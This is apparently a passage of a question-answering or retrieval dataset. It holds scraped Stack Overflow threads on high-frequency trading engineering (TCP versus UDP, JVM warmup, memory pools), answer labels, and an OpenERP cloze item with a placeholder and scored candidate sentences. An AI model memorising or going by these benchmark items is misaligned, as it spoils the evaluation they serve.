inexpensive and pricing varies over a pretty wide range . During the subscription process you ll gain access to the service providers technical data specification s -- a critical part of designing your trading engine . Using old data that you find on the Internet for design purposes is a recipe for problems later . Subscription also gets you access to the provider s test sites . It is on these test sites that you test and debug your engine . After you think you engine is ready for deployment you begin connecting to the data clearing production servers . This connection will get you into a place of shadows-- port roulette . Not every port at the provider s network edge has the same latency . Here you ll learn that you can have the shortest latency yet seldom have orders filled first . Traditional load-balancing does little to help this and CME has begun deployment of FPGA-based systems to ensure correct temporal sequencing of inbound orders but it s still early in its deployment process . Once you re running you then get to learn that mistakes can be very expensive . If you place an order prior to a market pre-open event the order is automatically rejected . Do it too often and the clearing provider will charge you a very stiff penalty . Other things can also get you penalized or even kicked-off the service if your systems are determined to be implementing strategies to block others from access etc . All the major exchanges web sites have links to public data and educational resources to help decide if HFT is for you and how to go about it .", "Question : I was told that for a High Frequency Trading HFT system that requires low-latency TCP is used over UDP . I was told that with TCP you can make point-to-point connections whereas you cannot with UDP however from my understanding you can send UDP packets to specific IP port . There are several arguments used in this article http : gafferongames.com networking-for-game-programmers udp-vs-tcp as to why UDP TCP for gaming but I can see relevance for HFT . Why would TCP be a better protocol to use for HFT Admins : My previous post of this question was silently removed with no explanation . If I am violating terms of use please alert me of this instead of silently removing the question Comment : I don t have any experience with the HFT field but I suspect that TCP is used because it guarantees that the packet gets to it s destination whereas UDP does not . Comment : A UDP connection would be faster but not as reliable . It would be bad if you tried to sell your plummeting stock but your UDP packet didn t get through . That s probably why most people use TCP rather than UDP for HFT . .. . Answer : TCP is faster for when using a few connections the important difference is that modern NICs perform significant amounts of acceleration on TCP and not really that much for UDP . This means there is more overhead to process each UDP packet and as such they cannot compete unless you need to send to multiple recipients simultaneously . However the UDP multicast route still suffers the same problems as unicast UDP per datagram overheads . Therefore many HFT systems use hardware accelerated systems that can multiplex the streams across many NICs via TCP example Solace . These days though you want to completely bypass the kernel with say a userspace IP stack such as by Solarflare or Mellanox or even skip both the kernel and IP stack with RDMA .", "Question : I was told that for a High Frequency Trading HFT system that requires low-latency TCP is used over UDP . I was told that with TCP you can make point-to-point connections whereas you cannot with UDP however from my understanding you can send UDP packets to specific IP port . There are several arguments used in this article http : gafferongames.com networking-for-game-programmers udp-vs-tcp as to why UDP TCP for gaming but I can see relevance for HFT . Why would TCP be a better protocol to use for HFT Admins : My previous post of this question was silently removed with no explanation . If I am violating terms of use please alert me of this instead of silently removing the question Comment : I don t have any experience with the HFT field but I suspect that TCP is used because it guarantees that the packet gets to it s destination whereas UDP does not . Comment : A UDP connection would be faster but not as reliable . It would be bad if you tried to sell your plummeting stock but your UDP packet didn t get through . That s probably why most people use TCP rather than UDP for HFT . .. . Answer : Quite simply if you need connection reliability ensuring that every byte of data transmitted is received you should be using TCP regardless . As you mentioned UDP is more suitable for games where 100 accurate real-time tracking of every object would use quite a large amount of bandwidth and is unnecessary this is where slow connections encounter lag . There is no special difference between a TCP port and a UDP port beyond the type of connection being used send the packet and forget it UDP style or negotiate a connection and sustain it TCP style and the service listening on the server-side . e.g . TCP 25 would usually reveal a SMTP server whereas UDP 25 would not .", "Question : I was told that for a High Frequency Trading HFT system that requires low-latency TCP is used over UDP . I was told that with TCP you can make point-to-point connections whereas you cannot with UDP however from my understanding you can send UDP packets to specific IP port . There are several arguments used in this article http : gafferongames.com networking-for-game-programmers udp-vs-tcp as to why UDP TCP for gaming but I can see relevance for HFT . Why would TCP be a better protocol to use for HFT Admins : My previous post of this question was silently removed with no explanation . If I am violating terms of use please alert me of this instead of silently removing the question Comment : I don t have any experience with the HFT field but I suspect that TCP is used because it guarantees that the packet gets to it s destination whereas UDP does not . Comment : A UDP connection would be faster but not as reliable . It would be bad if you tried to sell your plummeting stock but your UDP packet didn t get through . That s probably why most people use TCP rather than UDP for HFT . .. . Answer : There s no reasons to expect a stream of data over an already-established TCP connection would be slower than the same data over UDP plus you get checksumming retries and all the other TCP goodness . UDP mainly wins in cases where you can afford to discard the reliability or where the overhead of many TCP handshakes would be too expensive such as with common DNS queries .", "Question : I was told that for a High Frequency Trading HFT system that requires low-latency TCP is used over UDP . I was told that with TCP you can make point-to-point connections whereas you cannot with UDP however from my understanding you can send UDP packets to specific IP port . There are several arguments used in this article http : gafferongames.com networking-for-game-programmers udp-vs-tcp as to why UDP TCP for gaming but I can see relevance for HFT . Why would TCP be a better protocol to use for HFT Admins : My previous post of this question was silently removed with no explanation . If I am violating terms of use please alert me of this instead of silently removing the question Comment : I don t have any experience with the HFT field but I suspect that TCP is used because it guarantees that the packet gets to it s destination whereas UDP does not . Comment : A UDP connection would be faster but not as reliable . It would be bad if you tried to sell your plummeting stock but your UDP packet didn t get through . That s probably why most people use TCP rather than UDP for HFT . .. . Answer : Basically modern TCP implementations are going to be just as fast as UDP if you re keeping the connection alive . If TCP is having to resend a packet you d need to resend it in UDP too . Plus for UDP you re going to end up implementing the same reliability code retransmission of dropped packets that TCP has already implemented .", "Question : Over the last couple of weeks i have come across lots of articles about high frequency trading . They all talk about how important computers and software is to this but since they are all written from a financial point of view there is no detail about what does software do Can anyone explain from a programmers point of view what is high frequency trading and why is computer software so important in this field Comment : There have been a bunch of non-technical articles on this topic recently and I was wondering exactly the same thing . +1 Comment : Please consider voting for the quantitative finance stackexchange site idea here : meta.stackexchange.com questions 5786 http : meta.stackexchange.com questions 5786 proposal-for-quantitative-finance-stackexchange-site . That would be a very appropriate place for this kind of question . Comment : you can t go at this unless you have a lot of money or working at a financial institution . Comment : @Kim : Not necessarily . You probably won t be able to run a latency arbitrage strategy due to the hundreds of man years firms like GETCO have poured into their platform but there lots of short durations strategies that can be run by small firms . Comment : @Steve Latency arb is still possible : .. . Answer : At certain times for example on a futures expiry it is necessary to do thousands of trades a minute - obviously humans can t do this unaided . This BTW is a very stressful time for the programmer as-if anything goes wrong there is almost no chance of recovery - programmers tend to watch their log files go streaming by with their hearts somewhat in their mouths . Comment : Haha I know this is an older question but just reading this made me glad to know there are others on SO who can relate to my day-to-day experience developing for an HFT company . Comment : Very true . When things go wrong you have people coming up to you asking whats going on whats wrong why is not working why are we losing money usually very loudly while you desperate try to make sense of the huge log file", "Question : I understand that in the Java virtual-machine JVM warmup is potentially required as Java loads classes using a lazy-loading process and as such you want to ensure that the objects are initialized before you start the main transactions . I am a C++ developer and have not had to deal with similar requirements . However the parts I am not able to understand are the following : .. . .. . 1 . Which parts of the code should you warm up 2 . Even if I warm up some parts of the code how long does it remain warm assuming this term only means how long your class objects remain in-memory 3 . How does it help if I have objects which need to be created each time I receive an event Consider for an example an application that is expected to receive messages over a socket and the transactions could be New Order Modify Order and Cancel Order or transaction confirmed . Note that the application is about High Frequency Trading HFT so performance is of extreme importance . Comment : You may find -XX : +PrintCompilation useful for tracing compilation behavior . You also might want to contact oracle they re working on an AOT compiler currently only offered to commercial customers AIUI . I think some other JVM vendors also offer AOT . Comment : Also see these links : jvm options on Windows http : docs.oracle.com javase 8 docs technotes tools windows java.html jvm options on Linux Solaris Mac http : docs.oracle.com javase 8 docs technotes tools unix java.html .. . Answer : Warm-up is rarely required . It s relevant when doing for example performance tests to make sure that the JIT warm-up time doesn t skew the results . In normal production code you rarely see code that s meant for warm-up . The JIT will warm up during normal processing so there s very little advantage to introduce additional code just for that . In the worst case you might be introducing bugs spending extra development time and even harming performance . Unless you know for certain that you need some kind of warm-up don t worry about it . The example application you described certainly doesn t need it . Comment : This is perhaps not true . My production application is used for High frequency trading and every bit of latency can be an issue . It is kind of clear that at startup if you don t warmup your application it will lead to high latency of few millis . Once warmed up and after JVM has optimized the code gives the right level of performance . I am interested to find out why and how Comment : @Suparna If you re writing HFT code in Java you re almost certainly using custom techniques such as Chronicle to manage resources manually and none of the standard JVM advice applies . Comment : If you re dealing with HFT then you should say that in your question . It s an entirely different beast and normal Java rules don t necessarily apply anymore . You might want to look at OpenHFT https : github.com OpenHFT Java-Lang for additional information it s the work of a StackOverflow frequent flyer Mr . Peter Lawrey . Comment : @chrylis - yes there are various techniques that we have used for object creation or so called for reduced gc . Nevertheless warmup is still done and is required .", "Question : Over the last couple of weeks i have come across lots of articles about high frequency trading . They all talk about how important computers and software is to this but since they are all written from a financial point of view there is no detail about what does software do Can anyone explain from a programmers point of view what is high frequency trading and why is computer software so important in this field Comment : There have been a bunch of non-technical articles on this topic recently and I was wondering exactly the same thing . +1 Comment : Please consider voting for the quantitative finance stackexchange site idea here : meta.stackexchange.com questions 5786 http : meta.stackexchange.com questions 5786 proposal-for-quantitative-finance-stackexchange-site . That would be a very appropriate place for this kind of question . Comment : you can t go at this unless you have a lot of money or working at a financial institution . Comment : @Kim : Not necessarily . You probably won t be able to run a latency arbitrage strategy due to the hundreds of man years firms like GETCO have poured into their platform but there lots of short durations strategies that can be run by small firms . Comment : @Steve Latency arb is still possible : .. . Answer : There are two parts to any HFT system : .. . .. . 1 . Real time super low-latency trading - subscribe to real-time order book and price information from lots of different sources execute calibrated algorithms designed to either carry out a large order with minimal slippage i.e . you want to buy 1 million shares of IBM by the end of the day without moving the market too much or just to try to statistically make money based on short term arbitrage . This system also has to provide good risk and position management tools to allow one or more human operators to effectively monitor and control what the system is doing . 2 . Overnight Weekly etc . analysis of large quantities of tick data price time and order book information and historical data on the systems previous trading activity looking to optimize and search for the best algorithms to be executed in real-time by part 1 . i.e . calibrate and test the algorithms that will execute in 1 . The first one requires low-latency and extremely good access to markets i.e . a direct network connection to the exchange with minimal hops . This part usually has to be written in a non-GC language like C or C++ a half second delay while the garbage collector stops the world could be very costly . The second usually requires a grid and lots of good simulation and statistical analysis software AI algorithms etc .", "Question : I was told that for a High Frequency Trading HFT system that requires low-latency TCP is used over UDP . I was told that with TCP you can make point-to-point connections whereas you cannot with UDP however from my understanding you can send UDP packets to specific IP port . There are several arguments used in this article http : gafferongames.com networking-for-game-programmers udp-vs-tcp as to why UDP TCP for gaming but I can see relevance for HFT . Why would TCP be a better protocol to use for HFT Admins : My previous post of this question was silently removed with no explanation . If I am violating terms of use please alert me of this instead of silently removing the question Comment : I don t have any experience with the HFT field but I suspect that TCP is used because it guarantees that the packet gets to it s destination whereas UDP does not . Comment : A UDP connection would be faster but not as reliable . It would be bad if you tried to sell your plummeting stock but your UDP packet didn t get through . That s probably why most people use TCP rather than UDP for HFT . .. . Answer : UDP is superior to TCP if you don t need some of the features TCP provides . Every feature has a cost and so if you don t need features you are paying that cost for no reason . In an HFT application you need pretty much every feature TCP requires . So if you picked UDP you d have to implement those features yourself . That means you d have to implement connection establishment connection teardown retransmissions transmit pacing windows and so on . If there was a way to do all those things that was better than the way TCP was doing it TCP would be doing it that way . You d have one hand tied behind your back because TCP is heavily optimized by some of the best minds on the planet and implemented in with the kernel . Comment : There are some funds which had their own optimised version of the kernel to reduce latency from network card to algo . Comment : Not sure I agree . When a packet is lost TCP will block the data flow to the application until successful retransmission . HFT data is like video - if you don t have a frame in time forget it - it s too late - just get the next one . Comment : @BlankXavier : You have to weigh that against all the other things that TCP does that you do need such as transmit pacing duplicate packet detection connection setup and tear down and so on . You also have to consider the relative maturity and reliability of something you cook up yourself versus TCP . And from a performance standpoint every modern platform has a heavily-optimized TCP stack including things like hardware offload . It s hard to match that yourself . Comment : Those same platforms have heavily optimized UDP stacks too and in these platforms there s a big return for the effort to write this code . Hell these companies are implementing softwarei n FPGAs to get performance improvements . Implementing their own UDP transport wrapper is the right thing to do .", "Question : I m having fun learning about Hadoop and the various projects around it and currently have 2 different strategies I m thinking about for building a system to store a large collection of market tick data I m just getting started with both Hadoop HDSF and HBase but hoping someone can help me plant a system seed that I won t have to junk later using these technologies . Below is an outline of my system and requirements with some query and data usage use cases and lastly my current thinking about the best approach from the little documentation I have read . It is an open ended question and I ll gladly like any answer that is insightful and accept the best one feel free to comment on any or all of the points below . - Duncan Krebs .. . .. . System Requirements - Be able to leverage the data store for historical back-testing of systems historical data charting and future data-mining . Once stored data will always be read-only fast data-access is desired but not a must-have when back-testing . Static Schema - Very Simple I want to capture 3 types of messages from the feed : .. . .. . 1 . Timestamp including date day time .. . 2 . Quote including Symbol timestamp ask askSize bid bidSize volume... . About 40 columns of data .. . 3 . Trade including Symbol timestamp price size exchange... . About 20 columns of data .. . .. . Data Insert Use Cases - Either from a live market stream of data or lookup via broker API .. . .. . Data Query Use Cases - Below demonstrates how I would like to logically query my data . 4 . Get me all Quotes Trades Timestamps for GOOG on 9 22 2014 .. . .. . 5 . Get me all Trades for GOOG FB BEFORE 9 1 2014 AND AFTER 5 1 2014 .. . 6 . Get me the number of trades for these 50 symbols for each day over the last 90 days . .. . .. . The Holy Grail - Can MapReduce be used for uses cases like these below 1 . Generate meta-data from the raw market data through distributed agents . For example Write a job that will compute the average trading volume on a 1 minute interval for all stocks and all sessions stored in the database . Create the job to have an agent for each stock session that I tell what stock and session it should compute this value for . Is this what MapReduce can do .. . .. . 2 . On the classpath of the agents can I add my own util code so that the use-case above for example could publish its value into a central repo or Messaging server Can I deploy an agent as an OSGI bundle 3 . Create different types of agents for different types of metrics and scores that are executed every morning before pre-market trading High Frequency Trading .. . I m also interested if anyone can share some experience using Hadoop in the context of high frequency trading systems . Just getting into this technology my initial sense is Hadoop can be great for storing and processing large volumes of historic tick data if anyone is using this for real-time trading I d be interested in learning more - Duncan Krebs Comment : can you share what you mean by HFT - hadoop is not meant for real-time processing generally . Spark will perform better due to in-memory processing mostly but most of HFT depending on your timescale will require you to avoid disk remove networks . Once again it depends on your timescale for HFT . Comment : Hi ali haider that is my sense too that hadoop in the HFT eco-system is best suited for storing tick data coming from a real-time stream or historical lookup . I was just curious if people are using it for things like intraday tick data-storage that is analyzed in real-time across entire market segments that becomes difficult in memory . Thanks for the comment - will look at Spark to feed my curiosity . Comment : You can more easily decice between diska nd in-memory storage via spark . With Hadoop you may have to look at in-memory datagrid or preferably off-heap memory on large RAM node to tackle what you re trying to do . Comment : Do you have tickdata stream Comment : Yes multiple streams and I want to start storing the tick data into a store for future back-testing . I m looking to use a solution like Hadoop to store this data . .. . Answer : Based of my understanding of your requirements Hadoop would be really good solution to store your data and run your queries on it using Hive . Storage : You can store the data in Hadoop in a directory structure like : .. . .. . Inside the hours folder the data specific to that hour of the day can reside . One advantage of using such structure is that you can create external tables in Hive over this data with your partitions on years months days and hours . Something like this : .. . .. . Coming to the queries part once you have the data stored in the format mentioned above you can easily run simple queries . Get me all Quotes Trades Timestamps for GOOG on 9 22 2014 .. . .. . Get me all Trades for GOOG FB BEFORE 9 1 2014 AND AFTER 5 1 2014 .. . .. . You can run any such aggregation queries once in a day and use the output to come up with the metrics before pre-market trading . Since Hive internally runs mapreduce these queries won t be very fast . In order to get faster results you can use some of the in memory projects like Impala or Spark . I have myself used Impala to run queries on my hive tables and I have seen a major improvement in the run time for my queries around 40x . Also you wouldn t need to make any changes to the structure of the data . Data Insert Use Cases : You can use tools like Flume or Kafka for inserting data in real-time to Hadoop and thus to the hive tables . Flume is linearly scalable and can also help in processing events on the fly while transferring . Overall a combination of multiple big data technologies can provide a really decent solution to the problem you proposed and these solution would scale to huge amounts of data .", "Question : I understand that in the Java virtual-machine JVM warmup is potentially required as Java loads classes using a lazy-loading process and as such you want to ensure that the objects are initialized before you start the main transactions . I am a C++ developer and have not had to deal with similar requirements . However the parts I am not able to understand are the following : .. . .. . 1 . Which parts of the code should you warm up 2 . Even if I warm up some parts of the code how long does it remain warm assuming this term only means how long your class objects remain in-memory 3 . How does it help if I have objects which need to be created each time I receive an event Consider for an example an application that is expected to receive messages over a socket and the transactions could be New Order Modify Order and Cancel Order or transaction confirmed . Note that the application is about High Frequency Trading HFT so performance is of extreme importance . Comment : You may find -XX : +PrintCompilation useful for tracing compilation behavior . You also might want to contact oracle they re working on an AOT compiler currently only offered to commercial customers AIUI . I think some other JVM vendors also offer AOT . Comment : Also see these links : jvm options on Windows http : docs.oracle.com javase 8 docs technotes tools windows java.html jvm options on Linux Solaris Mac http : docs.oracle.com javase 8 docs technotes tools unix java.html .. . Answer : Which parts of the code should you warm up Usually you don t have to do anything . However for a low-latency application you should warmup the critical path in your system . You should have unit tests so I suggest you run those on start up to warmup up the code . Even once your code is warmed up you have to ensure your CPU caches stay warm as well . You can see a significant slow down in performance after a blocking operation e.g . network IO for up to 50 micro-seconds . Usually this is not a problem but if you are trying to stay under say 50 micro-seconds most of the time this will be a problem most of the time . Note : Warmup can allow Escape Analysis to kick in and place some objects on the stack . This means such objects don t need to be optimised away . It is better to memory profile your application before optimising your code . Even if I warm up some parts of the code how long does it remain warm assuming this term only means how long your class objects remain in-memory There is no time limit . It depends on whether the JIt detects whether the assumption it made when optimising the code turned out to be incorrect . How does it help if I have objects which need to be created each time I receive an event If you want low-latency or high performance you should create as little objects as possible . I aim to produce less than 300 KB sec . With this allocation rate you can have an Eden space large enough to minor collect once a day . Consider for an example an application that is expected to receive messages over a socket and the transactions could be New Order Modify Order and Cancel Order or transaction confirmed . I suggest you re-use objects as much as possible though if it s under your allocation budget it may not be worth worrying about . Note that the application is about High Frequency Trading HFT so performance is of extreme importance . You might be interested in our open-source software which is used for HFT systems at different Investment Banks and Hedge Funds . http : chronicle.software .. . .. . My production application is used for High frequency trading and every bit of latency can be an issue . It is kind of clear that at startup if you don t warmup your application it will lead to high latency of few millis . In particular you might be interested in https : github.com OpenHFT Java-Thread-Affinity as this library can help reduce scheduling jitter in your critical threads . And also it is said that the critical sections of code which requires warmup should be ran with fake messages atleast 12K times for it to work in an optimized manner . Why and how does it work Code is compiled using background-thread s . This means that even though a method might be eligible for compiling to native-code it doesn t mean that it has done so esp on startup when the compiler is pretty busy already . 12K is not unreasonable but it could be higher . Comment : Thanks @PeterLawrey for such detailed explanation . Only other thing that I would like to ask as follow-up question is whether it can be logged or monitored which section of your code is warmed up . Comment : @Suparna every part of the critical path should be warmed up including the TCP connection esp those which don t get called often . I suggest Chronicle Queue for low-latency logging and persisted messaging .", "Question : I m writing HFT trading software . I do care about every single microsecond . Now it written on C but i will migrate to C++ soon . Let s consider such code .. . .. . I guess that ultra-low latency software should not use new keyword too much so I moved actions to be a field : .. . .. . And probably I should try to avoid new keyword at all I can use some pool of pre-allocated objects : .. . .. . How far should I go How important to avoid new Will I win anything while using preallocated object which I only need to configure set type and price in example above .. . .. . Please note that this is ultra-low latency so let s assume that performance is preferred against readability maintainability etc . etc . Comment : If it s that important who are you gonna trust : People on the internet or scientific benchmarks Comment : @delnan i do trust people on stackoverflow : Comment : I would try both and make measurements . Comment : Memory allocation can be slow but it doesn t have to be . Comment : Please don t trust SO for this kind of thing haha but in our financial application we ve essentially pre-allocated huge chunks of memory written a custom memory manager and allocated our new objects in this space . .. . Answer : For high-performance trading engines at good HFT shops avoiding new malloc in C++ code is a basic .", "Question : I m writing HFT software . Disruptor http : code.google.com p disruptor claims to be a high performance inter-thread messaging library and apparently offers substantial performance improvements . Is there something with comparable speed for .NET Comment : Which performance problems have you encountered with your current code Comment : @L.B HFT is kind of software which always encounter performance problems no matter what : I know that all Java HFT programmers use disruptor without measuring if they have performance problem . Why not using something that 100+ times faster Comment : Explain what you mean by fast please . You say it is faster than what you have what do you have You say it s so fast everyone must use it why must they use it Please explain . .. . Answer : As Sam already said disruptor has been ported to dotnet you ll see more on GitHub Disruptor Net https : github.com odeheurles Disruptor-net .. . .. . I was thinking of your question http : stackoverflow.com questions 10206624 how-to-execute-50-parallel-methods-500-times-per-second-effectively 10206889 from yonks ago the other day around how I d approach it today knowing what I now know about concurency large number of threads bad http : gwan.com . There are a few patterns you could use here .. . .. . 1 . Single threaded for maximum throughput and lowest latency . Run side-by-side procesess and do some form of sharding to getting additional throughput per core . Think ala Redis http : redis.io topics benchmarks .. . 2 . A non-blocking algorithm ala CAS .. . 3 . Disruptor http : disruptor.googlecode.com files Disruptor-1.0.pdf CCR http : stackoverflow.com questions 525154 concurrency-and-coordination-runtime-ccr-learning-resources .. . .. . I am personally curious enough to work on a few examples if you ve got any to find what works best when . There is an overview technical paper you should have a flick through by Disruptor http : disruptor.googlecode.com files Disruptor-1.0.pdf", "Question : I m writing HFT software . Disruptor http : code.google.com p disruptor claims to be a high performance inter-thread messaging library and apparently offers substantial performance improvements . Is there something with comparable speed for .NET Comment : Which performance problems have you encountered with your current code Comment : @L.B HFT is kind of software which always encounter performance problems no matter what : I know that all Java HFT programmers use disruptor without measuring if they have performance problem . Why not using something that 100+ times faster Comment : Explain what you mean by fast please . You say it is faster than what you have what do you have You say it s so fast everyone must use it why must they use it Please explain . .. . Answer : There is a C port https : github.com odeheurles Disruptor-net but as has already been said it should only be used to solve specific problems . Its not a silver bullet to make your software faster . Do you have the perf tests to see if it changes anything Does your current architecture fit the disruptor model of discreet workers Comment : answer to all questions is no . it seems i just want to have silver bullet if it exists .", "Question : I m writing HFT trading software . I do care about every single microsecond . Now it written on C but i will migrate to C++ soon . Let s consider such code .. . .. . I guess that ultra-low latency software should not use new keyword too much so I moved actions to be a field : .. . .. . And probably I should try to avoid new keyword at all I can use some pool of pre-allocated objects : .. . .. . How far should I go How important to avoid new Will I win anything while using preallocated object which I only need to configure set type and price in example above .. . .. . Please note that this is ultra-low latency so let s assume that performance is preferred against readability maintainability etc . etc . Comment : If it s that important who are you gonna trust : People on the internet or scientific benchmarks Comment : @delnan i do trust people on stackoverflow : Comment : I would try both and make measurements . Comment : Memory allocation can be slow but it doesn t have to be . Comment : Please don t trust SO for this kind of thing haha but in our financial application we ve essentially pre-allocated huge chunks of memory written a custom memory manager and allocated our new objects in this space . .. . Answer : As much as I detest HFT I m going to tell you how to get maximum performance out of each thread on a given piece of iron . Here s an explanation http : scicomp.stackexchange.com a 1870 1262 of an example where a program as originally written was made 730 times faster . You do it in stages . At each stage you find something that takes a good percentage of time and you fix it . The keyword is find as opposed to guess . Too many people just eyeball the code and fix what they think will help and often but not always it does help some . That s guesswork . To get real speedup you need to find all the problems not just the few you can guess . If your program is doing new then chances are at some point that will be what you need to fix . But it s not the only thing . Here s the theory behind it http : scicomp.stackexchange.com a 2719 1262 . Comment : i agree but this is not an answer for my question . thanks for a link it s very interesting . Comment : @javapowered : It says chances are new will be a problem but not the only one . One of the things I do is pool recycled objects .", "Question : our HFT trading application is developed in Java . We need to convert 8 bytes to a double number but the conversion has to be extremely fast . Remember our latency is under 15 micro second so conventional java approaches will probably not work for us . Any suggestion would be helpful . Thanks in advance .. . .. . edit .. . .. . We have already worked on few approaches like byetebuffer nio classes twiddling approach using shifting etc . However I would like to re-iterate the need to have each operation as fast as possible . Using these forms of conversions are expensive even though they may seem faster as a standalone we end up introducing latency into the application . I am seeking out-of-the-box ideas not limited to the APIs provided by Java which any one may have had experience on using bytes in different formats int double float etc . A thought in that direction is probably caching the double value and compare with the bytes received hence eliminating the need to convert . Comment : Could you add a java approach for better understanding of the problem . Comment : What have you tried so far What are your current benchmarks Comment : It s perfectly clear what OP is asking . What is the fastest way to convert byte-by-byte representations of doubles into doubles in Java You might pick on him her for not doing any research first but you certainly can t for clarity . It s a common specific question with an immediately clear right answer if you know the technologies involved . Comment : @BadZen Not really . Your answer is good in that it is a non hacky standard Java solution but considering the speed required with HFT even your approach can be improved . However then you end up substituting cleanliness and reliability for speed . Comment : I don t see how . Direct-allocated buffers are just about as fast as a native C cast plus the Java object overhead . If that latter time is killing you you don t want to be using Java . What other faster solution do you propose that substitutes cleanliness and reliability for speed .. . Answer : You ll likely want to be using java.nio for IO in which case you can convert between ByteBuffer and DoubleBuffer to accomplish what you need . This will be much faster than bit twiddling with the logic for the conversion yourself . It s as easy as : .. . .. . voila . Comment : You should probably already have all of your data in channels buffers if you re working with that level of real-time requirement anyhow as painful as it might be to refactor everything.. . Comment : Thanks for the quick response we have updated more details about the problem .", "Question : null .. . Answer : I ve been trying to teach myself Python and MATLAB for the past three years by trying to write programs but it looks my ADHD is getting in the way preventing me from learning everything . I try to keep it under control with diet exercise but I ve made literally zero progress besides knowing how to throw out some basic commands template for basic strategies . I have energy on my side and I m joining a prop firm soon where I ll get access to 900k of buying power . It s a multi-strategy firm . I m trying to convince them to let me open three accounts one for stock day trading one for options swing trading and a small one for futures day trading . For all execution I want to use HFT with iceberg detection . I can pound out strategies all day which works to my advantage . I ve always been really smart to the point where I could get a Physics Ph.D but I don t want to get on drugs health reasons . Is there any software out there that is reliable and can rapidly implement strategies So far I ve checked out algo design lab but I m really looking for something where I can just load pre-set indicators and draw shapes until I get the result I want . Thanks . I m not quite at a full service firm yet so I ll need to do my own work quality quantity .", "Question : Over the last couple of weeks i have come across lots of articles about high frequency trading . They all talk about how important computers and software is to this but since they are all written from a financial point of view there is no detail about what does software do Can anyone explain from a programmers point of view what is high frequency trading and why is computer software so important in this field Comment : There have been a bunch of non-technical articles on this topic recently and I was wondering exactly the same thing . +1 Comment : Please consider voting for the quantitative finance stackexchange site idea here : meta.stackexchange.com questions 5786 http : meta.stackexchange.com questions 5786 proposal-for-quantitative-finance-stackexchange-site . That would be a very appropriate place for this kind of question . Comment : you can t go at this unless you have a lot of money or working at a financial institution . Comment : @Kim : Not necessarily . You probably won t be able to run a latency arbitrage strategy due to the hundreds of man years firms like GETCO have poured into their platform but there lots of short durations strategies that can be run by small firms . Comment : @Steve Latency arb is still possible : .. . Answer : I would just add that the most prevalent applications in this kind of trading tend to be CEP complex-event-processing . Some examples are Streambase Apama and Aleri . On the other end to deal with the massive quantities of data people use high-speed databases such as KDB OneTick and Vhayu . If you want to understand the kind of technical challenges I suggest looking at these vendors first . Their marketing materials will give you a good sense of the business applications as well as the technical challenges ." ] }
[ "yes-answer-long", "yes-answer-short" ]
algorithm
UNK_RELATION
openerp-8@sap-erp@182
openerp-8 -- openerp is an open-source enterprise resource planning erp software actively programmed supported and organized by openerp s.a.openerp is an open-source alternative to @placeholder oracle e-business suite microsoft-dynamics netsuite adempiere compiere ofbiz openbravo and other enterprise resource planning software .
{ "confidence": [ 66.67382049560547, 58.18687057495117, 54.352718353271484, 54.352718353271484, 53.0931396484375, 52.51451110839844, 52.51451110839844, 51.10133361816406, 48.11032485961914, 47.42078399658203, 47.42078399658203, 47.42078399658203, 45.00341796875, 45.00341796875, 45.00341796875, 43.93335723876953, 42.177913665771484, 40.76473617553711, 40.68694305419922, 39.071006774902344, 39.071006774902344, 39.071006774902344, 38.547149658203125, 38.547149658203125, 37.133975982666016, 37.09058380126953, 34.48056411743164, 33.716373443603516, 30.065479278564453, 29.3868350982666, 25.568931579589844, 24.971752166748047, 23.069259643554688, 23.069259643554688, 22.638469696044922, 22.392810821533203, 21.375530242919922, 20.74321746826172, 20.63565444946289, 20.405988693237305, 19.96799087524414, 19.80108642578125, 19.709259033203125, 19.688060760498047, 19.551008224487305, 19.1756591796875, 19.1756591796875, 18.87740707397461, 18.612709045410156, 18.54939842224121, 18.434362411499023, 18.274885177612305, 17.598119735717773, 17.283903121948242, 17.210784912109375, 17.183677673339844, 17.183677673339844, 16.67375373840332, 16.475807189941406, 16.475807189941406, 16.430330276489258, 16.147525787353516, 16.115337371826172, 15.911063194274902, 15.873161315917969, 15.813905715942383, 15.797608375549316, 15.739740371704102, 15.737625122070312, 15.657268524169922, 15.611743927001953, 15.590173721313477, 15.590173721313477, 15.590173721313477, 15.590173721313477, 15.382536888122559, 14.983672142028809, 14.917640686035156, 14.78207778930664, 14.67427921295166, 14.51574993133545, 14.304367065429688, 14.10387897491455, 14.10387897491455, 14.10387897491455, 14.10387897491455, 14.10387897491455, 14.10387897491455, 14.10387897491455, 14.10387897491455, 14.10387897491455, 14.10387897491455, 13.9881010055542, 13.9881010055542, 13.9881010055542, 13.9881010055542, 13.9881010055542, 13.9881010055542, 13.9881010055542, 13.9881010055542 ], "content": [ "This kind of feature not supported in openerp .", "is tryton better than openerp", "The Admin user is the default user in OpenErp .", "I am using OpenERP 7 .", "The problem for me was with css not openerp", "Why you not go for tryton it is fork of openerp .", "I am create controller in OpenERP Framework .", "Use Odoo s former OpenERP automatic tracking system .", "I have a dump file of database backup openerp-7 .", "Maybe you ve forgotten to save the manifest openerp .py", "Sometimes OpenERP does not realise that there is an update in the xml .", "The better method would be to use the OpenERP interface .", "I am developing a new openerp web module from scratch .", "I am writing a customize Lab Test module in OpenERP V7 .", "I don t know if OpenERP 7 has the same limitation .", "How to use that ETL tool I have openerp-7 database which i want to convert to version 8.When i enter my source database name it says no such database exists .", "you can apply access rule on field level in OpenERP like in py .. . .. . And for status in xml :", "I am now creating a customize module for a lab test purpose in OpenERP 7 .", "I am new to openerp i can see some css class definitions like the following : .. . .. . .openerp .oe form .oe styling v8 b .. . .. . Can you please explain to me what does it mean", "I am trying to use the same concept used in the Point Of Sale web module that comes with OpenERP .", "I don t have OpenERP code now but I hope you will know which ir.rule you should change .", "I upgraded the database using the option .. . .. . openerp-server.py -d db --init sale", "Now i want to continue my work in odoo the database is in openerp-7 format so i am not able to restore it in odoo .", "This document may helpful for you for create window .exe file for OpenERP V6 .. . .. . please refere the below link : .. . .. . https : doc.odoo.com 6.0 developer 8 24 build", "How can I hide the Form View Based on User Access .. . .. . I have created one user student in school Management System in openerp .", "The rough idea was described in OpenERP 7 - Create auto log message in Log a Note field as history log record http : stackoverflow.com questions 37935843 openerp-7-create-auto-log-message-in-log-a-note-field-as-history-log-record 37969084 37969084 .", "Apparently Odoo OpenERP does not support polymorphism so the introduction of the intermediary status objB is intended to cloak the different types of status with hopes that objA may have a One2Many field consisting of its status history .", "Apply the following patch on the lastest version of models.py the version commited on Tue Aug 4 15 : 22 : 33 2015 +0200 : .. . .. . In other words just comment the lines 5900 to 5902 of the openerp models.py file .", "Following is my code and i set http.route type http .. . .. . Above code work perfect once i login into openerp after i modify URL http : localhost : 8069 demo html show me return result This is a test in h1 heading tag .", "I can see to much css classes starting with .openerp .oe how we define two css classes on the same line this is not allowed in css .. . .. . Thanks in 